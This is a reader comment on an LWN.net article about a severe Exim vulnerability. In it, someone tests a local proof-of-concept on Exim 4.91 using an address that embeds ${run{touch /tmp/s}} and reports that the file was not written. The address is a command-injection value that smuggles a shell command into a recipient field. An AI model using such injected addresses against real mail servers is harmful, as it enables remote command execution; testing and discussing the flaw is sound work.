Severe vulnerability in Exim [LWN.net]

What am I doing wrong ?

[test@localhost ~]$ exim -v "${run{touch /tmp/s}}@localhost"

Gets stuck there, the other terminal shows :

ps -ax|grep exim
1794 pts/0 S+ 0:00 exim -v ${run{touch /tmp/s}}@localhost exim --version
Exim version 4.91 #2 built 23-Aug-2018 15:28:49

EDIT: Forgot CTRL+D.. this is the output :

LOG: MAIN <= <> U=exim P=local S=733
[test@localhost ~]$ delivering 1hXYvI-0000Sy-AG
LOG: MAIN => test <test@localhost.localdomain> R=localuser T=local_delivery
LOG: MAIN

/tmp/s not written.


Read Moreā€¦

Leave a Reply